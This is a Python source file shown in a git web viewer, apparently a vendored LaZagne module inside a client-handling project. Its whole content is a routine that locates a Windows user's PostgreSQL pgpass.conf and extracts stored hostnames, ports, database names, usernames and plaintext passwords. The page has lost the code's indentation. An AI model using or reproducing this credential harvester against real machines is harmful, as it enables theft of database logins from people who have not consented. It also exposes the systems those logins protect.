blob: e2ecfb63d19827c1b44a45b2f7b8b4bc6e682e7d (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
# -*- coding: utf-8 -*-
import os
from foreign.client_handling.lazagne.config.constant import constant
from foreign.client_handling.lazagne.config.module_info import ModuleInfo
class PostgreSQL(ModuleInfo):
def __init__(self):
ModuleInfo.__init__(self, name='postgresql', category='databases')
def run(self):
path = os.path.join(constant.profile['APPDATA'], u'postgresql', u'pgpass.conf')
if os.path.exists(path):
with open(path) as f:
pwd_found = []
for line in f.readlines():
try:
items = line.strip().split(':')
pwd_found.append({
'Hostname': items[0],
'Port': items[1],
'DB': items[2],
'Username': items[3],
'Password': items[4]
})
except Exception:
pass
return pwd_found
|